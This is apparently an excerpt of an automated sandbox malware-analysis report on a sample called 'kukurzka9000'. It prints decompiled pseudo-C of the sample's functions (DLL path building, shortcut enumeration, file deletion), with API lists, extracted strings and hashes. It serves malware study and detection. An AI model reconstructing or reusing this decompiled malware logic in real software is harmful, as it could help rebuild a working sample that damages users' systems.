					_v8 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t178, _t188) + _t64);
					if(E0040A3E4(_t178,  &_v8, 0, _t142) != 0) {
						_t180 = _t178 + _t142 * 2 + 2;
						_t71 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t180) + _t69);
						_v12 = _t71;
						_t193 =  *((intOrPtr*)( *0x40e18c))(_t180,  *0x40e20c) - _t180 >> 1;
						if(E0040A3E4(_t180,  &_v12, 0, _t193) != 0) {
							_t182 = _t180 + _t193 * 2 + 2;
							_t78 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t182) + _t76);
							_v16 = _t78;
							_t197 =  *((intOrPtr*)( *0x40e18c))(_t182,  *0x40e20c) - _t182 >> 1;
							if(E0040A3E4(_t182,  &_v16, 0, _t197) != 0) {
								_t184 = _t182 + _t197 * 2 + 2;
								_t85 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t184) + _t83);
								_push( *0x40e228);
								_v20 = _t85;
								_push(_t184);
								if(E0040A3E4(_t184,  &_v20, 0,  *((intOrPtr*)( *0x40e18c))() - _t184 >> 1) != 0) {
									_t199 =  *((intOrPtr*)( *0x40e044))(0x40, 0x4000);
									_v28 = _t199;
									_t94 =  *((intOrPtr*)( *0x40e044))(0x40, 0x20a);
									_push(0);
									_t144 = _t94;
									_push(0x1a);
									_push(_t144);
									_push(0);
									if( *((intOrPtr*)( *0x40e0c4))() != 0) {
										_push(_v12);
										_push(_t144);
										_push(_t144);
										if( *((intOrPtr*)( *0x40e000))() != 0) {
											_v40 = 1;
											E004052DA(_t144, _t144, _v8, _v16, _v20, _t199,  &_v24);
											if(_v24 > 0) {
												_t109 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
												_t111 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
												_t173 = 0x10;
												_t112 = E0040A05F(_t109, _t173);
												_t202 = _t112;
												_v48 = _t202;
												_t115 = E0040A503( *((intOrPtr*)( *0x40e13c))(_t111,  *0x40e210), _t202);
												_v52 = _v52 & 0x00000000;
												_v36 = _t115;
												_t116 =  *0x40e204; // 0x837988
												_v56 = _t116;
												_t117 = E00408619( &_v36);
												_v32 = _t117;
												_t187 =  *((intOrPtr*)( *0x40e044))(0x40, 0x184);
												_t165 =  *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _t202, 0xffffffff, 0, 0, 0, 0);
												if(_t165 == 0) {
													_t199 = _v28;
												} else {
													_t127 =  *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _t202, 0xffffffff, _t187, _t165, 0, 0);
													_t199 = _v28;
													if(_t127 != 0) {
														E00407EDB(_v44, _t187, 0, 0, _v24, _t199, _v32,  &_v56);
													}
												}
												LocalFree(_t187);
												LocalFree(_v32);
												LocalFree(_v36);
												LocalFree(_v48);
											}
										}
									}
									LocalFree(_v8);
									LocalFree(_v12);
									LocalFree(_v16);
									LocalFree(_v20);
									LocalFree(_t144);
									LocalFree(_t199);
									_t103 = _v40;
									L23:
									return _t103;
								}
								LocalFree(_v8);
								LocalFree(_v12);
								LocalFree(_v16);
								LocalFree(_v20);
								_push(0xfffffffa);
								L13:
								_pop(_t103);
								goto L23;
							}
							LocalFree(_v8);
							LocalFree(_v12);
							LocalFree(_v16);
							_push(0xfffffffb);
							goto L13;
						}
						LocalFree(_v8);
						LocalFree(_v12);
						_push(0xfffffffc);
						goto L13;
					}
					LocalFree(_v8);
					_push(0xfffffffd);
					goto L13;
				} else {
					_t146 = _t62 - _t178;
					_t142 = _t146 >> 1;
					if(_t146 >= 0) {
						goto L5;
					}
					_t140 = 0xfffffffe;
					return _t140;
				}
			}

Strings

pXqt, xrefs: 00405002, 00405058, 00405061, 004050B5, 004050BE, 004050C7, 00405116, 0040511F, 00405128, 00405131, 0040527F, 00405288, 00405291, 0040529A, 004052A3, 004052AC, 004052B5, 004052BE, 004052C5, 004052CC

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID:
String ID: pXqt
API String ID: 0-1234763034
Opcode ID: 920dc5c48ddd3d6d108e0df5f74ef4019b895daab8de7caf07ff3aedad1c931d
Instruction ID: 5fa1488eec15b5c1e265b2db03af03f3b622e2a9793851092692c2b0c9e4c5eb
Opcode Fuzzy Hash: 920dc5c48ddd3d6d108e0df5f74ef4019b895daab8de7caf07ff3aedad1c931d
Instruction Fuzzy Hash: 5DA1D371A00215AFDB009BEADE45EAE7BB5EF48310F104535F614F72E0DBB46D218B69

Uniqueness

Uniqueness Score: -1.00%

Function 00409BD9 Relevance: 37.8, APIs: 24, Strings: 1, Instructions: 303
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00409BD9(void* __ecx, short* __edx) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				signed int _v24;
				void* _v28;
				void* _v32;
				void* _v36;
				signed int _v40;
				short* _v44;
				void* _v48;
				signed int _v52;
				char _v56;
				signed int _t60;
				void* _t62;
				void* _t71;
				void* _t78;
				void* _t85;
				void* _t94;
				signed int _t103;
				void* _t109;
				void* _t111;
				void* _t112;
				void* _t115;
				char _t116;
				void* _t117;
				void* _t127;
				void* _t140;
				signed int _t142;
				void* _t144;
				signed int _t146;
				void* _t165;
				void* _t173;
				signed int _t177;
				void* _t178;
				void* _t180;
				void* _t182;
				void* _t184;
				void* _t187;
				void* _t188;
				signed int _t193;
				signed int _t197;
				void* _t199;
				void* _t202;

				_v24 = _v24 & 0x00000000;
				_t142 = 0;
				_v44 = __edx;
				_v40 = _v40 & 0;
				_t60 =  *((intOrPtr*)( *0x40e18c))(__ecx,  *0x40e2d8);
				_t177 = _t60;
				if(_t177 == 0) {
					return _t60 | 0xffffffff;
				}
				_t178 = _t177 + 0xc;
				_t62 =  *((intOrPtr*)( *0x40e18c))(_t178,  *0x40e1f0);
				if(_t62 == 0) {
					L5:
					_v8 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t178, _t188) + _t64);
					if(E0040A3E4(_t178,  &_v8, 0, _t142) != 0) {
						_t180 = _t178 + _t142 * 2 + 2;
						_t71 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t180) + _t69);
						_v12 = _t71;
						_t193 =  *((intOrPtr*)( *0x40e18c))(_t180,  *0x40e20c) - _t180 >> 1;
						if(E0040A3E4(_t180,  &_v12, 0, _t193) != 0) {
							_t182 = _t180 + _t193 * 2 + 2;
							_t78 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t182) + _t76);
							_v16 = _t78;
							_t197 =  *((intOrPtr*)( *0x40e18c))(_t182,  *0x40e20c) - _t182 >> 1;
							if(E0040A3E4(_t182,  &_v16, 0, _t197) != 0) {
								_t184 = _t182 + _t197 * 2 + 2;
								_t85 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t184) + _t83);
								_push( *0x40e228);
								_v20 = _t85;
								_push(_t184);
								if(E0040A3E4(_t184,  &_v20, 0,  *((intOrPtr*)( *0x40e18c))() - _t184 >> 1) != 0) {
									_t199 =  *((intOrPtr*)( *0x40e044))(0x40, 0x4000);
									_v28 = _t199;
									_t94 =  *((intOrPtr*)( *0x40e044))(0x40, 0x20a);
									_push(0);
									_t144 = _t94;
									_push(0x1a);
									_push(_t144);
									_push(0);
									if( *((intOrPtr*)( *0x40e0c4))() != 0) {
										_push(_v12);
										_push(_t144);
										_push(_t144);
										if( *((intOrPtr*)( *0x40e000))() != 0) {
											_v40 = 1;
											E004052DA(_t144, _t144, _v8, _v16, _v20, _t199,  &_v24);
											if(_v24 > 0) {
												_t109 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
												_t111 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
												_t173 = 0x10;
												_t112 = E0040A05F(_t109, _t173);
												_t202 = _t112;
												_v48 = _t202;
												_t115 = E0040A503( *((intOrPtr*)( *0x40e13c))(_t111,  *0x40e210), _t202);
												_v52 = _v52 & 0x00000000;
												_v36 = _t115;
												_t116 =  *0x40e204; // 0x837988
												_v56 = _t116;
												_t117 = E00408619( &_v36);
												_v32 = _t117;
												_t187 =  *((intOrPtr*)( *0x40e044))(0x40, 0x184);
												_t165 =  *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _t202, 0xffffffff, 0, 0, 0, 0);
												if(_t165 == 0) {
													_t199 = _v28;
												} else {
													_t127 =  *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _t202, 0xffffffff, _t187, _t165, 0, 0);
													_t199 = _v28;
													if(_t127 != 0) {
														E00407EDB(_v44, _t187, 0, 0, _v24, _t199, _v32,  &_v56);
													}
												}
												LocalFree(_t187);
												LocalFree(_v32);
												LocalFree(_v36);
												LocalFree(_v48);
											}
										}
									}
									LocalFree(_v8);
									LocalFree(_v12);
									LocalFree(_v16);
									LocalFree(_v20);
									LocalFree(_t144);
									LocalFree(_t199);
									_t103 = _v40;
									L23:
									return _t103;
								}
								LocalFree(_v8);
								LocalFree(_v12);
								LocalFree(_v16);
								LocalFree(_v20);
								_push(0xfffffffa);
								L13:
								_pop(_t103);
								goto L23;
							}
							LocalFree(_v8);
							LocalFree(_v12);
							LocalFree(_v16);
							_push(0xfffffffb);
							goto L13;
						}
						LocalFree(_v8);
						LocalFree(_v12);
						_push(0xfffffffc);
						goto L13;
					}
					LocalFree(_v8);
					_push(0xfffffffd);
					goto L13;
				} else {
					_t146 = _t62 - _t178;
					_t142 = _t146 >> 1;
					if(_t146 >= 0) {
						goto L5;
					}
					_t140 = 0xfffffffe;
					return _t140;
				}
			}

0x00409be4
0x00409bf0
0x00409bf2
0x00409bf5
0x00409bf9
0x00409bfb
0x00409bff
0x00000000
0x00409c01
0x00409c14
0x00409c18
0x00409c1c
0x00409c2e
0x00409c4a
0x00409c58
0x00409c78
0x00409c83
0x00409c8b
0x00409c9f
0x00409cae
0x00409cd7
0x00409ce2
0x00409cea
0x00409cfe
0x00409d0b
0x00409d3a
0x00409d45
0x00409d47
0x00409d4d
0x00409d55
0x00409d6c
0x00409da8
0x00409db6
0x00409db9
0x00409dbb
0x00409dbd
0x00409dc4
0x00409dc6
0x00409dc7
0x00409dcd
0x00409dd3
0x00409ddb
0x00409ddc
0x00409de1
0x00409dea
0x00409e00
0x00409e0c
0x00409e1f
0x00409e2b
0x00409e2f
0x00409e34
0x00409e3f
0x00409e47
0x00409e50
0x00409e55
0x00409e5c
0x00409e5f
0x00409e64
0x00409e67
0x00409e71
0x00409e7f
0x00409e95
0x00409e99
0x00409ed6
0x00409e9b
0x00409eaf
0x00409eb1
0x00409eb6
0x00409ecc
0x00409ed1
0x00409eb6
0x00409eda
0x00409ee3
0x00409eec
0x00409ef5
0x00409ef5
0x00409e0c
0x00409de1
0x00409efe
0x00409f07
0x00409f10
0x00409f19
0x00409f20
0x00409f27
0x00409f2d
0x00409f30
0x00000000
0x00409f30
0x00409d71
0x00409d7a
0x00409d83
0x00409d8c
0x00409d92
0x00409d94
0x00409d94
0x00000000
0x00409d94
0x00409d10
0x00409d19
0x00409d22
0x00409d28
0x00000000
0x00409d28
0x00409cb3
0x00409cbc
0x00409cc2
0x00000000
0x00409cc2
0x00409c5d
0x00409c63
0x00000000
0x00409c1e
0x00409c20
0x00409c22
0x00409c24
0x00000000
0x00000000
0x00409c28
0x00000000
0x00409c28

Strings

pXqt, xrefs: 00409C5D, 00409CB3, 00409CBC, 00409D10, 00409D19, 00409D22, 00409D71, 00409D7A, 00409D83, 00409D8C, 00409EDA, 00409EE3, 00409EEC, 00409EF5, 00409EFE, 00409F07, 00409F10, 00409F19, 00409F20, 00409F27

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID:
String ID: pXqt
API String ID: 0-1234763034
Opcode ID: b9d1e3923032fdb29136ca73d0ba7c8e72e19fc8f1c47f7929fd4c366d02da90
Instruction ID: 1477a699490ab6d120e37a0d83275f9d0d9eb78bf41bd20a7fb73821678a20ad
Opcode Fuzzy Hash: b9d1e3923032fdb29136ca73d0ba7c8e72e19fc8f1c47f7929fd4c366d02da90
Instruction Fuzzy Hash: FCA10572A00215BFEB00DBAADE45EAE7BB5EB48310F144935F614F32E1CB745D208B69

Uniqueness

Uniqueness Score: -1.00%

Function 025427AA Relevance: 37.2, APIs: 20, Strings: 1, Instructions: 437fileCOMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 02542837

Part of subcall function 02549C12: LocalFree.KERNEL32(00000000,?,?,02541F22), ref: 02549C75

LocalFree.KERNEL32(00000000), ref: 02542886
LocalFree.KERNEL32(00000000), ref: 02542895
LocalFree.KERNEL32(00000000), ref: 025428A4
LocalFree.KERNEL32(00000000), ref: 025428AF
LocalFree.KERNEL32(00000000), ref: 025428BA
LocalFree.KERNEL32(00000000), ref: 025429DF
LocalFree.KERNEL32(?), ref: 025429E6
LocalFree.KERNEL32(00000000), ref: 02542A12
LocalFree.KERNEL32(?), ref: 02542A19
LocalFree.KERNEL32(00000000), ref: 02542CBB
DeleteFileW.KERNEL32(?), ref: 02542CC2
LocalFree.KERNEL32(?), ref: 02542CC9

Strings

pXqt, xrefs: 02542837, 02542886, 02542895, 025428A4, 025428AF, 025428BA, 025429DF, 025429E6, 02542A12, 02542A19, 02542BBE, 02542C40, 02542C56, 02542C60, 02542C87, 02542CAD, 02542CBB, 02542CC9

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal$DeleteFile
String ID: pXqt
API String ID: 2194112602-1234763034
Opcode ID: 743d3936997c352c872d7cf10618c75b7b5c1b542be5bb5ea46889d68cad6593
Instruction ID: 98e8548d2009b190b395d34ac61cf39f5596220bafedca5555b3d877f4cf1476
Opcode Fuzzy Hash: 743d3936997c352c872d7cf10618c75b7b5c1b542be5bb5ea46889d68cad6593
Instruction Fuzzy Hash: 76F17371900225EFDB05DFA6EE48A9EBBB5FB48314F144824F915F32A0DB749920CF69

Uniqueness

Uniqueness Score: -1.00%

Function 02541D2C Relevance: 37.2, APIs: 20, Strings: 1, Instructions: 419fileCOMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 02541DB9

Part of subcall function 02549C12: LocalFree.KERNEL32(00000000,?,?,02541F22), ref: 02549C75

LocalFree.KERNEL32(00000000), ref: 02541E08
LocalFree.KERNEL32(00000000), ref: 02541E17
LocalFree.KERNEL32(00000000), ref: 02541E26
LocalFree.KERNEL32(00000000), ref: 02541E31
LocalFree.KERNEL32(00000000), ref: 02541E3C
LocalFree.KERNEL32(00000000), ref: 02541F61
LocalFree.KERNEL32(?), ref: 02541F68
LocalFree.KERNEL32(00000000), ref: 02541F94
LocalFree.KERNEL32(?), ref: 02541F9B
LocalFree.KERNEL32(00000000), ref: 02542213
DeleteFileW.KERNEL32(?), ref: 0254221A
LocalFree.KERNEL32(?), ref: 02542221

Strings

pXqt, xrefs: 02541DB9, 02541E08, 02541E17, 02541E26, 02541E31, 02541E3C, 02541F61, 02541F68, 02541F94, 02541F9B, 02542119, 0254219B, 025421B1, 025421BB, 025421DF, 02542205, 02542213, 02542221

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal$DeleteFile
String ID: pXqt
API String ID: 2194112602-1234763034
Opcode ID: 14fe85006a4507c3b927e3539246f7d6684f254c4d25abfe7b05e8fd786a1328
Instruction ID: 4020a4d19c67f0247aee429db27b858e8f66289d1f29530e33c4d3f1fe95f06c
Opcode Fuzzy Hash: 14fe85006a4507c3b927e3539246f7d6684f254c4d25abfe7b05e8fd786a1328
Instruction Fuzzy Hash: A0F19171900225EFDB05DFA6DE44AAEBBB5FF48304F104924FA15F72A0DB749920CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0254629A Relevance: 37.2, APIs: 20, Strings: 1, Instructions: 419fileCOMMON

Download Yara Rule

APIs

Part of subcall function 02549C12: LocalFree.KERNEL32(00000000,?,?,02541F22), ref: 02549C75

LocalFree.KERNEL32(?), ref: 025463DB
LocalFree.KERNEL32(00000000), ref: 025463E2
LocalFree.KERNEL32(?), ref: 025463E9
LocalFree.KERNEL32(00000000), ref: 02546551
LocalFree.KERNEL32(?), ref: 0254673A
CloseHandle.KERNEL32(?), ref: 02546743
DeleteFileW.KERNEL32(?), ref: 0254674A
LocalFree.KERNEL32(00000000), ref: 02546755
LocalFree.KERNEL32(?), ref: 02546760
LocalFree.KERNEL32(00000000), ref: 0254676C
DeleteFileW.KERNEL32(?), ref: 02546773
LocalFree.KERNEL32(?), ref: 0254677A

Strings

pXqt, xrefs: 025463DB, 025463E2, 025463E9, 02546551, 025466A2, 025466B3, 025466C9, 025466D6, 025466DF, 025466E8, 025466F1, 02546731, 0254673A, 02546755, 02546760, 0254676C, 0254677A

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal$DeleteFile$CloseHandle
String ID: pXqt
API String ID: 3365615635-1234763034
Opcode ID: 6b69802a48eb8782515909e086c02e5c0d34241564e5da442a695b2d7f20041d
Instruction ID: 3e56be3a29a127583f2889cc487694e71a19a2a367796ddff49a2ac52db06553
Opcode Fuzzy Hash: 6b69802a48eb8782515909e086c02e5c0d34241564e5da442a695b2d7f20041d
Instruction Fuzzy Hash: 36E18471A00215AFEB04DFA6DD85FAEBBB9FF49314F004425FA15B7260DBB49910CB68

Uniqueness

Uniqueness Score: -1.00%

Function 025450CF Relevance: 37.1, APIs: 18, Strings: 3, Instructions: 372COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 02545160

Strings

*.lnk, xrefs: 02545254
pXqt, xrefs: 02545160, 025451FA, 025453CF, 025453DA, 025453E3, 025453EC, 025453F5, 025454EB, 02545500, 02545509, 02545512, 0254551B, 02545524, 0254554B
., xrefs: 0254517E

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal
String ID: *.lnk$.$pXqt
API String ID: 2826327444-3574300937
Opcode ID: 3150c680f21ee6bfbfefdc720a97a6de524c9d957b265806f1dde896eba8a9dd
Instruction ID: 5ddcc40f0ef13b1fb64a4166a2fbbbd5bd7f9cea0586f5a170d555195f1f9119
Opcode Fuzzy Hash: 3150c680f21ee6bfbfefdc720a97a6de524c9d957b265806f1dde896eba8a9dd
Instruction Fuzzy Hash: E4D1B171A00215ABDF04DFA5DD44FAEB7B6BF88308F104524FA15B7290EB74A951CF68

Uniqueness

Uniqueness Score: -1.00%

Function 02548AF5 Relevance: 37.1, APIs: 19, Strings: 2, Instructions: 309registryCOMMON

Download Yara Rule

APIs

Part of subcall function 02549A77: GlobalFree.KERNEL32(02541F22), ref: 02549AC4

RegCloseKey.ADVAPI32(00000000), ref: 02548B3A
LocalFree.KERNEL32(00000000), ref: 02548BA5
RegCloseKey.ADVAPI32(000F003F), ref: 02548BAE
RegCloseKey.ADVAPI32(00000000), ref: 02548CC2
LocalFree.KERNEL32(00000000), ref: 02548D4B
RegCloseKey.ADVAPI32(000F003F), ref: 02548D54

Strings

?, xrefs: 02548B05
pXqt, xrefs: 02548BA5, 02548C86, 02548C92, 02548C99, 02548CAC, 02548D4B, 02548E2C, 02548E38, 02548E3F, 02548E52

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: Close$Free$Local$Global
String ID: ?$pXqt
API String ID: 669500343-410238745
Opcode ID: 810266c1436c83679cd00da3e4cb33eccda6db4c1c17b890659f6915c65a8da9
Instruction ID: dbdad97322969685b4fd9d2f589ea8950ff88192682950b9b6032030e258e527
Opcode Fuzzy Hash: 810266c1436c83679cd00da3e4cb33eccda6db4c1c17b890659f6915c65a8da9
Instruction Fuzzy Hash: B4B16075900219BFDB05CFA6DD89EAEBBB9FF49344F104425FA05B7250DB709A10CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0040864C Relevance: 36.2, APIs: 18, Strings: 6, Instructions: 247
memoryCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040864C(void* __ecx, intOrPtr __edx) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				signed int _v28;
				intOrPtr _v32;
				void* _t55;
				void* _t61;
				void* _t73;
				void* _t74;
				signed int _t81;
				void* _t83;
				void* _t90;
				signed int _t91;
				void* _t100;
				void* _t101;
				void* _t103;
				signed int _t104;
				void* _t106;
				void* _t107;
				signed int _t111;
				void* _t112;
				void* _t113;
				void* _t115;
				void* _t122;
				intOrPtr* _t126;
				signed int _t137;
				intOrPtr _t146;
				void* _t150;
				void* _t152;

				_t115 = __ecx;
				_v32 = __edx;
				_t152 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(__ecx) + _t45);
				_push(_t115);
				_v12 = _t152;
				if( *((intOrPtr*)( *0x40e08c))() == 0x26) {
					L25:
					if(_t152 != 0) {
						LocalFree(_t152);
					}
					return 1;
				} else {
					goto L1;
				}
				do {
					L1:
					_t55 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t115) + _t53);
					_v8 = _t55;
					_t150 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t115) + _t56);
					_v16 = _t150;
					_t61 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t115) + _t59);
					_t152 = _t61;
					_v24 = _t152;
					_t122 =  *((intOrPtr*)( *0x40e18c))(_t115,  *0x40e1ec);
					_t63 = 0;
					_v28 = 0;
					if(_t122 == 0) {
						L3:
						_t8 =  &_v8; // 0x4079e3
						if(E0040A3E4(_t115, _t8, 0, _t63) != 1) {
							goto L17;
						}
						_t73 =  *((intOrPtr*)( *0x40e18c))(_t115,  *0x40e228);
						_v20 = _t73;
						if(_t73 == 0) {
							_t74 = _v12;
							if(_t74 != 0) {
								LocalFree(_t74);
							}
							if(_v8 != 0) {
								LocalFree(_v8);
							}
							if(_t150 != 0) {
								LocalFree(_t150);
							}
							goto L25;
						}
						_t126 =  *0x40e114; // 0x74716920
						_push(L"libs");
						_t10 =  &_v8; // 0x4079e3
						_push( *_t10);
						if( *_t126() != 0) {
							goto L17;
						}
						_t115 = _t115 + _v28 * 2 + 2;
						_t81 = _v20 - _t115;
						_v20 = _t81 >> 1;
						if(_t81 == 0) {
							L33:
							_t83 = _v12;
							if(_t83 != 0) {
								LocalFree(_t83);
							}
							if(_v8 == 0) {
								L38:
								if(_t150 != 0) {
									LocalFree(_t150);
								}
								if(_t152 != 0) {
									LocalFree(_t152);
								}
								return 0;
							} else {
								LocalFree(_v8);
								L37:
								goto L38;
							}
						}
						_t90 =  *((intOrPtr*)( *0x40e18c))(_t115,  *0x40e1f0);
						if(_t90 == 0) {
							goto L33;
						}
						_t91 = _t90 - _t115;
						_t92 = _t91 >> 1;
						_v28 = _t91 >> 1;
						if(_t91 == 0) {
							goto L33;
						}
						if(E0040A3E4(_t115,  &_v16, 0, _t92) == 0) {
							L16:
							_t150 = _v16;
							goto L17;
						}
						if(E0040A3E4(_t115,  &_v24, _v28 + 1, _v20) == 0) {
							_t152 = _v24;
							goto L16;
						}
						_t100 = E0040A503( *((intOrPtr*)( *0x40e044))(0x40, 0x208), _v32);
						_t146 =  *0x40e258; // 0x8374a8
						_t101 = E0040A503(_t100, _t146);
						_t150 = _v16;
						_t103 = E0040A503(E0040A503(_t101, _t150), L".dll");
						_t137 =  *0x40e374; // 0x804a18
						_v28 = _t137;
						_v20 = _t103;
						_t104 = E00408619( &_v28);
						_t152 = _v24;
						_v28 = _t104;
						E00408495(_t152, _t104, _t103);
						_t106 = _v28;
						if(_t106 != 0) {
							LocalFree(_t106);
						}
						_t107 = _v20;
						if(_t107 != 0) {
							LocalFree(_t107);
						}
						goto L17;
					}
					_t111 = _t122 - _t115;
					_t63 = _t111 >> 1;
					_v28 = _t111 >> 1;
					if(_t111 < 0) {
						_t112 = _v12;
						if(_t112 != 0) {
							LocalFree(_t112);
						}
						_t37 =  &_v8; // 0x4079e3
						_t113 =  *_t37;
						if(_t113 == 0) {
							goto L38;
						} else {
							LocalFree(_t113);
							goto L37;
						}
					}
					goto L3;
					L17:
					if(_v8 != 0) {
						LocalFree(_v8);
					}
					if(_t150 != 0) {
						LocalFree(_t150);
					}
					if(_t152 != 0) {
						LocalFree(_t152);
					}
					_t34 =  *((intOrPtr*)( *0x40e18c))(_t115,  *0x40e228) + 2; // 0x2
					_t115 = _t34;
					_push(_t115);
				} while ( *((intOrPtr*)( *0x40e08c))() != 0x26);
				_t152 = _v12;
				goto L25;
			}

0x0040865f
0x00408663
0x00408675
0x00408677
0x00408678
0x00408680
0x00408888
0x0040888a
0x0040888d
0x0040888d
0x00000000
0x00000000
0x00000000
0x00000000
0x00408686
0x00408686
0x00408699
0x004086a8
0x004086ba
0x004086c3
0x004086cd
0x004086db
0x004086de
0x004086e3
0x004086e5
0x004086e7
0x004086ec
0x004086fd
0x00408700
0x0040870f
0x00000000
0x00000000
0x00408721
0x00408723
0x00408728
0x004088ea
0x004088ef
0x004088f2
0x004088f2
0x004088fc
0x00408901
0x00408901
0x00408909
0x00408910
0x00408910
0x00000000
0x00408909
0x0040872e
0x00408734
0x00408739
0x00408739
0x00408740
0x00000000
0x00000000
0x0040874f
0x00408752
0x00408756
0x00408759
0x004088b3
0x004088b3
0x004088b8
0x004088bb
0x004088bb
0x004088c5
0x004088d0
0x004088d2
0x004088d5
0x004088d5
0x004088dd
0x004088e0
0x004088e0
0x00000000
0x004088c7
0x004088ca
0x004088ca
0x00000000
0x004088ca
0x004088c5
0x0040876b
0x0040876f
0x00000000
0x00000000
0x00408775
0x00408777
0x00408779
0x0040877c
0x00000000
0x00000000
0x00408793
0x0040883b
0x0040883b
0x00000000
0x0040883b
0x004087b0
0x00408838
0x00000000
0x00408838
0x004087c9
0x004087ce
0x004087d6
0x004087db
0x004087ee
0x004087f3
0x004087fb
0x00408801
0x00408804
0x0040880a
0x00408811
0x00408814
0x00408819
0x0040881f
0x00408822
0x00408822
0x00408828
0x0040882d
0x00408830
0x00408830
0x00000000
0x0040882d
0x004086f0
0x004086f2
0x004086f4
0x004086f7
0x0040889b
0x004088a0
0x004088a3
0x004088a3
0x004088a9
0x004088a9
0x004088ae
0x00000000
0x004088b0
0x004088ca
0x00000000
0x004088ca
0x004088ae
0x00000000
0x0040883e
0x00408842
0x00408847
0x00408847
0x0040884f
0x00408852
0x00408852
0x0040885a
0x0040885d
0x0040885d
0x00408871
0x00408871
0x00408879
0x0040887c
0x00408885
0x00000000

APIs

LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,004079E3), ref: 0040866D
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,004079E3), ref: 00408699
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,004079E3), ref: 004086B2
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,004079E3), ref: 004086CD
LocalFree.KERNEL32(?,?,?,?,?,?,?,004079E3), ref: 00408822
LocalFree.KERNEL32(?,?,?,?,?,?,?,004079E3), ref: 00408830
LocalFree.KERNEL32(00000000), ref: 00408847
LocalFree.KERNEL32(00000000), ref: 00408852
LocalFree.KERNEL32(00000000), ref: 0040885D
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,004079E3), ref: 0040888D
LocalFree.KERNEL32(?,?,?,?,?,?,?,004079E3), ref: 004088A3
LocalFree.KERNEL32(?,?,?,?,?,?,?,004079E3), ref: 004088BB
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,004079E3), ref: 004088CA
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,004079E3), ref: 004088D5
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,004079E3), ref: 004088E0
LocalFree.KERNEL32(?,?,?,?,?,?,?,004079E3), ref: 004088F2
LocalFree.KERNEL32(00000000), ref: 00408901
LocalFree.KERNEL32(00000000), ref: 00408910

Strings

y@, xrefs: 00408700, 00408739, 004088A9, 004088B0
libs, xrefs: 00408734
pXqt, xrefs: 00408822, 00408830, 00408847, 00408852, 0040885D, 0040888D, 004088A3, 004088BB, 004088CA, 004088D5, 004088E0, 004088F2, 00408901, 00408910
.dll, xrefs: 004087E7
y@, xrefs: 004088FE, 00408844
iqt, xrefs: 0040872E

Memory Dump Source

